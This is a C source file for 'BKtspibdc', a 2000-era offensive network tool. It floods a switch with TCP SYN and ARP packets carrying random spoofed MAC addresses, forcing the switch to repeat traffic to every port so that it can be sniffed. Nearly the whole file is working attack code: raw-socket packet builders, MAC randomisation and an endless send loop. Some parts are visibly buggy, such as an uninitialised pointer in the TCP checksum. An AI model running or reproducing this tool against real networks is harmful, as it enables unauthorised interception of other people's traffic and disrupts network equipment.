BKtspibdc.c allows sniffing on switched networks by flooding the switch with TCP & IP & ARP requests containing spoofed MAC addresses.
3d2385a867ce0b4d297d0ef596abb742173add20b7c3aad942ed6ac3f7b435b0
/*
* _/_/_/ _/ _/ _/ _/ _/_/_/ _/_/_/ _/
* _/ _/ _/ _/ _/ _/_/ _/ _/ _/ _/ _/_/
* _/_/_/_/ _/ _/_/ _/ _/ _/_/_/ _/_/_/ _/ _/
* _/ _/ _/ _/ _/ _/_/_/_/ _/ _/ _/_/_/_/
* _/_/_/_/ _/ _/ _/ _/ _/ _/ _/ _/ _/
*
*
* $Id: BKtspibdc.c ,v 9.9 2000/05/18 14:00:45 l0wlevel Exp $
*
* BKtrpibdc.c - Network tool for switch sniff
* Based on Amua Library - Arp&Mac:Use&Abuse
* Coded on a Redbug 5.0+1.0+0.2
* Tools used: vi,gcc,ping,tcpdump
* Last modification added in a hot august day.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
*
* THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
* ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
* SUCH DAMAGE.
*
* Copyright (c) 2000 bikappa <bikappa@itapac.net> [l0wlevel]
* All rights reserved.
*
*/
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/time.h>
#include <arpa/inet.h>
#include <net/if_arp.h>
#include <net/if.h>
#include <netinet/in.h>
#include <netinet/if_ether.h>
#include <stdarg.h>
#include <fcntl.h>
#include <errno.h>
#include <netdb.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <signal.h>
void info()
{
printf("\n Based on Amua Library - Arp&Mac:Use&Abuse\n\n");
printf(" This tool flood your switch with TCP & IP & ARP request with spoofed MAC \n");
printf(" The switch will start to repeat packets to any ports.\n");
printf(" So you'll get easy way to sniff with a simple promiscuos.\n\n");
printf(" Copyright (C) 2000 by bikappa <bikappa@itapac.net> [l0wlevel]\n\n");
}
void usage(char * arg)
{
printf("\n BKtspibdc - Copyright (C) 2000 by bikappa [l0wlevel] \n");
printf(" This tool floods your switch \n\n");
printf(" usage: %s -h -i -s -d -p -a -t -e\n\n", arg);
printf(" -h help print this help \n");
printf(" -i info print info about the program and the author \n");
printf(" -s source mac forge the packet with a standard src mac \n");
printf(" -d destination mac forge the packet with a standard dst mac \n");
printf(" -p print print source and destination mac generated \n");
printf(" -a arp attack add arp attacck \n");
printf(" -t arp time if -a is used, time to send arp packet (default 2) \n");
printf(" -e ethernet device change from default (eth0)\n\n");
}
struct arp_header_packet
{
unsigned short mac_address_format;
unsigned short ip_address_format;
unsigned char mac_address_length;
unsigned char ip_address_length;
unsigned short op_type;
unsigned char source_mac_address[6];
unsigned char source_ip_address[4];
unsigned char destination_mac_address[6];
unsigned char destination_ip_address[4];
};
struct ethernet_header_device
{
unsigned char ethernet_destination_address[6];
unsigned char ethernet_source_address[6];
unsigned short ethernet_type;
};
struct link_interface
{
int fd;
int linktype;
int linkoffset;
u_char *device;
};
struct ip_header_packet
{
unsigned char ip_header_length:4,ip_version:4;
unsigned char ip_type_of_service;
unsigned short ip_length;
unsigned short ip_id;
unsigned short ip_offset;
unsigned char ip_ttl;
unsigned char ip_protocol;
unsigned short ip_checksum;
struct in_addr ip_src, ip_dst;
};
struct tcp_header_packet
{
unsigned short source_port;
unsigned short destination_port;
unsigned long sequence_number;
unsigned long ack;
unsigned char x2:4, data_offset:4;
unsigned char control_flags;
unsigned short window;
unsigned short checksum;
unsigned short urgent_pointer;
};
int build_ethernet(unsigned char *destination, unsigned char *source, unsigned short ethertype, unsigned char *buffer)
{
struct ethernet_header_device ethernet_header;
const unsigned char *payload = NULL;
int payload_s = 0;
unsigned short eth_head_l = 0xe;
if (!buffer) return (-1);
memcpy(ethernet_header.ethernet_destination_address, destination, 6);
memcpy(ethernet_header.ethernet_source_address, source, 6);
ethernet_header.ethernet_type = htons(ethertype);
if (payload && payload_s)
memcpy(buffer + eth_head_l, payload, payload_s);
memcpy(buffer, ðernet_header, sizeof(ethernet_header));
return (1);
}
int build_tcp (unsigned short source_port, unsigned short destination_port, unsigned long seq, unsigned long ack, unsigned char control, unsigned short window, unsigned short urg, unsigned char *buffer)
{
struct tcp_header_packet tcp_header;
const unsigned char *payload = NULL;
int payload_s = 0;
unsigned long tcp_header_length = 0x14;
if (!buffer) return (-1);
tcp_header.source_port = htons(source_port);
tcp_header.destination_port = htons(destination_port);
tcp_header.sequence_number = htonl(seq);
tcp_header.ack = htonl(ack);
tcp_header.control_flags = control;
tcp_header.x2 = 0;
tcp_header.data_offset = 5;
tcp_header.window = htons(window);
tcp_header.checksum = 0;
tcp_header.urgent_pointer = urg;
if (payload && payload_s)
memcpy(buffer + tcp_header_length, payload, payload_s);
memcpy((unsigned char *)buffer, (unsigned char *)&tcp_header, sizeof(tcp_header));
return (1);
}
int build_ip (unsigned short length, unsigned char tos, unsigned short id, unsigned short frag, unsigned char ttl, unsigned char protocol, unsigned long source_address, unsigned long destination_address, unsigned char *buffer)
{
struct ip_header_packet ip_header;
const unsigned char *payload = NULL;
int payload_s = 0;
unsigned long ip_header_length = 0x14;
if (!buffer) return (-1);
ip_header.ip_version = 4;
ip_header.ip_header_length = 5;
ip_header.ip_type_of_service = tos;
ip_header.ip_length = htons(ip_header_length + length);
ip_header.ip_id = htons(id);
ip_header.ip_offset = htons(frag);
ip_header.ip_ttl = ttl;
ip_header.ip_protocol = protocol;
ip_header.ip_checksum = 0;
ip_header.ip_src.s_addr = source_address;
ip_header.ip_dst.s_addr = destination_address;
if (payload && payload_s)
memcpy(buffer + ip_header_length, payload, payload_s);
memcpy((unsigned char *)buffer, (unsigned char *)&ip_header, sizeof(ip_header));
return (1);
}
int build_arp(unsigned char *source_mac_address, unsigned char *source_ip_address, unsigned char *destination_mac_address, unsigned char *destination_ip_address, unsigned char *buffer)
{
struct arp_header_packet arp_header;
const unsigned char *payload = NULL;
int payload_s = 0;
unsigned short
ethertype = 0x0800,
hardware_type = 1,
opcode_cmd = 2,
arp_head_l = 0x1c,
mac_address_length = 6,
ip_address_length =4;
if (!buffer) return (-1);
arp_header.mac_address_format = htons(hardware_type);
arp_header.ip_address_format = htons(ethertype);
arp_header.op_type = htons(opcode_cmd);
arp_header.mac_address_length = mac_address_length;
arp_header.ip_address_length = ip_address_length;
memcpy(arp_header.source_mac_address, source_mac_address, mac_address_length);
memcpy(arp_header.source_ip_address, source_ip_address, ip_address_length);
memcpy(arp_header.destination_mac_address, destination_mac_address, mac_address_length);
memcpy(arp_header.destination_ip_address, destination_ip_address, ip_address_length);
if (payload && payload_s)
memcpy(buffer + arp_head_l, payload, payload_s);
memcpy(buffer, &arp_header, sizeof(arp_header));
return (1);
}
int ip_checksum (unsigned char *buf)
{
struct ip_header_packet *iph_p;
int ip_header_length,
checksum = 0,
nleft = 0,
length = 0x14;
unsigned short ans = 0;
unsigned short *source;
iph_p = (struct ip_header_packet *)buf;
ip_header_length = iph_p->ip_header_length << 2;
iph_p->ip_checksum = 0;
nleft = length;
source = (unsigned short *)iph_p;
while (nleft > 1)
{
checksum += *source++;
nleft -= 2;
}
if (nleft == 1)
{
*(unsigned char *)(&ans) = *(unsigned char *)source;
checksum += ans;
}
iph_p->ip_checksum = (checksum >> 16) + (checksum & 0xffff);
return (1);
}
int tcp_checksum (unsigned char *buf)
{
struct ip_header_packet *iph_p;
struct tcp_header_packet *tcph_p;
int ip_header_length,
checksum = 0,
nleft = 0,
length = 0x14;
unsigned short ans = 0;
unsigned short *source;
ip_header_length = iph_p->ip_header_length << 2;
tcph_p = (struct tcp_header_packet *)(buf + ip_header_length);
tcph_p->checksum = 0;
source = (unsigned short *)&iph_p->ip_src;
nleft = 8;
while (nleft > 1)
{
checksum += *source++;
nleft -= 2;
}
if (nleft == 1)
{
*(unsigned char *)(&ans) = *(unsigned char *)source;
}
checksum += ntohs(length +6);
nleft = length;
source = (unsigned short *)tcph_p;
while (nleft > 1)
{
checksum += *source++;
nleft -= 2;
}
if (nleft == 1)
{
*(unsigned char *)(&ans) = *(unsigned char *)source;
checksum += ans;
}
tcph_p->checksum = (checksum >> 16) + (checksum & 0xffff);
return (1);
}
unsigned long get_random16()
{
unsigned long n = random();
return (n % 0xffff);
}
unsigned long get_random32()
{
unsigned long n = random();
return (n);
}
void set_random_mac_address (char *mac_add)
{
int i;
for(i = 0; i < 6; i++)
i[mac_add] = random() % 256;
}
struct link_interface * open_link_interface(char *device, char *ebuf)
{
register struct link_interface *l;
struct ifreq ifr;
l = (struct link_interface *)malloc(sizeof (*l));
if (l == NULL)
{
fprintf(stderr, " Malloc: %s.\n", ebuf);
return (NULL);
}
memset(l, 0, sizeof (*l));
l->fd = socket(PF_INET, SOCK_PACKET, htons(ETH_P_ALL));
if (l->fd == -1)
{
fprintf(stderr, " Socket: %s.\n", ebuf);
if (l->fd >= 0)
close(l->fd);
free(l);
return (NULL);
}
memset(&ifr, 0, sizeof (ifr));
strncpy(ifr.ifr_name, device, sizeof (ifr.ifr_name));
if (ioctl(l->fd, SIOCGIFHWADDR, &ifr) < 0 )
{
fprintf(stderr, " SIOCGIFHWADDR: %s.\n", ebuf);
if (l->fd >= 0)
close(l->fd);
free(l);
return (NULL);
}
l->linkoffset = 0xe;
l->linktype = 12;
return (l);
}
int init_packet(int p_size, unsigned char **buffer)
{
int max_packet = 65535;
if (p_size <= 0)
p_size = max_packet + 1;
*buffer = (unsigned char *)malloc(p_size);
if (!*buffer)
{
perror(" Init packet malloc failed:");
return (-1);
} else
{
memset(*buffer, 0, p_size);
return (1);
}
}
int destroy_packet(unsigned char **buffer)
{
if (!*buffer)
{
return (-1);
}
free(*buffer);
*buffer = NULL;
return (1);
}
void count_success(int repeat)
{
int i;
for (i = 0; i <repeat; i++)
{
usleep(300000);
printf(".");
fflush(stdout);
}
printf(" sucessfull\n");
}
void felix_ruls_to_save_address (char *mac, char mac_temp[17])
{
int i;
unsigned char felix;
for ( i = 0; i < 6; i++)
{
felix = ((unsigned char)mac[i]);
felix < 16 ? sprintf(&mac_temp[i*3], "0%1X:", felix):sprintf(&mac_temp[i*3], "%2X:",felix);
}
mac_temp[17] = 0;
}
void set_address (char *mac, char *mac_add)
{
unsigned int temp[6];
int i;
if (sscanf (mac, "%2x:%2x:%2x:%2x:%2x:%2x", &temp[0], &temp[1], &temp[2], &temp[3], &temp[4], &temp[5]) != 6)
{
printf(" The address format is not correct\n");
exit(0);
}
for(i = 0; i < 6; i++)
i[mac_add] = temp[i];
}
void cleanall (int back)
{
static unsigned char *packet;
fprintf(stderr, " Erorr, exiting...\n");
destroy_packet(&packet);
exit(back);
}
int main ( int argc, char **argv)
{
struct link_interface *link;
struct sockaddr sa;
struct ifreq ifr;
int fd,
temp = 0,
arp_time = 2,
c = 0,
i = 0,
x = 2,
sm = 0,
dm = 0,
print_mac_address = 0,
arp_attack = 0,
counter = 0;
static unsigned char
*packet1,
*packet2,
*ethernet_device = "eth0",
source_mac_address[6],
destination_mac_address[6];
char ebuf[1025],
source_mac_address_t[18],
destination_mac_address_t[18],
source_ip_address_t[15],
destination_ip_address_t[15];
unsigned long
source,
destination;
unsigned long tcp_header_length = 0x14;
unsigned long ip_header_length = 0x14;
unsigned long eth_header_length = 0xe;
unsigned long arp_header_length = 0x1c;
unsigned long f_syn = 0x02;
unsigned long ethertype_ip = 0x0800;
unsigned long ethertype_arp = 0x0806;
unsigned short source_port, destination_port;
unsigned char packet1_length,
packet2_length;
char lulu;
extern char *optarg;
while ((lulu = getopt(argc, argv, "-aphid:t:s:e:")) != EOF)
{
switch(lulu)
{
case 'i' :
info();
exit(1);
case 'h' :
usage(argv[0]);
exit(1);
case 'p' :
print_mac_address = 1;
break;
case 'a' :
arp_attack = 1;
break;
case 't' :
arp_time = atoi(optarg);
break;
case 's' :
sm++;
sscanf(optarg, "%s", source_mac_address_t);
break;
case 'd' :
dm++;
sscanf(optarg, "%s", destination_mac_address_t);
break;
case 'e' :
ethernet_device = optarg;
break;
}
}
printf("\n\n **************************************************************************\n");
printf(" * BKtspibdc - Copyright 2000 by bikappa [l0wlevel] <bikappa@itapac.net> *\n");
printf(" **************************************************************************\n\n");
printf(" Loading data ");
count_success(10);
packet1_length = eth_header_length + ip_header_length + tcp_header_length;
packet2_length = eth_header_length + arp_header_length;
temp = init_packet(packet1_length, &packet1);
if( temp == -1)
{
fprintf(stderr, " First packet initialization failed.\n");
exit(0);
} else
if ( temp == 1)
{
printf(" First packet initialization");
count_success (8);
}
temp = init_packet(packet2_length, &packet2);
if( temp == -1)
{
fprintf(stderr, " Second packet initialization failed.\n");
exit(0);
} else
if ( temp == 1)
{
printf(" Second packet initialization");
count_success (8);
}
if((link = open_link_interface(ethernet_device, ebuf)) == NULL)
{
fprintf(stderr, " Open link interface failed: %s.\n", ebuf);
exit(0);
}
printf(" Open link interface ");
count_success(8);
printf (" Starting attack on %s device", ethernet_device);
count_success(6);
signal(SIGINT, cleanall);
signal(SIGKILL, cleanall);
printf("\n");
for (;;i++)
{
if ( sm == 1)
set_address (source_mac_address_t, source_mac_address);
else
set_random_mac_address (source_mac_address);
if ( dm == 1)
set_address (destination_mac_address_t, destination_mac_address);
else
set_random_mac_address (destination_mac_address);
source = get_random32();
destination = get_random32();
source_port = get_random16();
destination_port = get_random16();
build_ethernet (destination_mac_address, source_mac_address, ethertype_ip, packet1);
build_ip (ip_header_length, 0, (char)get_random16, 0, 64, 6, source, destination, packet1 + eth_header_length);
build_tcp (source_port, destination_port, (char)get_random32, (char)get_random32, f_syn, 1024, 0, packet1 + eth_header_length + ip_header_length);
ip_checksum (packet1 + eth_header_length);
tcp_checksum (packet1 + eth_header_length);
memset(&sa, 0, sizeof (sa));
strncpy(sa.sa_data, ethernet_device, sizeof (sa.sa_data));
c = sendto(link->fd, packet1, packet1_length, 0, &sa, sizeof (sa));
if (c != packet1_length)
fprintf(stderr, "Warning: write Layer : %d bytes written.\n", c);
if ( print_mac_address == 1 )
{
felix_ruls_to_save_address(source_mac_address, source_mac_address_t);
felix_ruls_to_save_address(destination_mac_address, destination_mac_address_t);
printf("TCP/IP: Mac source: (%s)\t Mac destination (%s)\n", source_mac_address_t, destination_mac_address_t);
}
if ( arp_attack == 1)
{
if ( x == i)
{
x+= arp_time;
if ( sm == 1)
set_address (source_mac_address_t, source_mac_address);
else
set_random_mac_address (source_mac_address);
if ( dm == 1)
set_address (destination_mac_address_t, destination_mac_address);
else
set_random_mac_address (destination_mac_address);
source = get_random32();
destination = get_random32();
build_ethernet (destination_mac_address, source_mac_address, ethertype_arp, packet2);
build_arp(source_mac_address, (char *)&source, destination_mac_address, (char *)&destination, packet2 + eth_header_length);
memset(&sa, 0, sizeof (sa));
strncpy(sa.sa_data, ethernet_device, sizeof (sa.sa_data));
c = sendto(link->fd, packet2, packet2_length, 0, &sa, sizeof (sa));
if (c != packet2_length)
fprintf(stderr, "Warning: write Layer : %d bytes written.\n", c);
if ( print_mac_address == 1 )
{
felix_ruls_to_save_address(source_mac_address, source_mac_address_t);
felix_ruls_to_save_address(destination_mac_address, destination_mac_address_t);
printf("ARP : Mac source: (%s)\t Mac destination (%s)\n", source_mac_address_t, destination_mac_address_t);
}
}
}
}
return 1;
}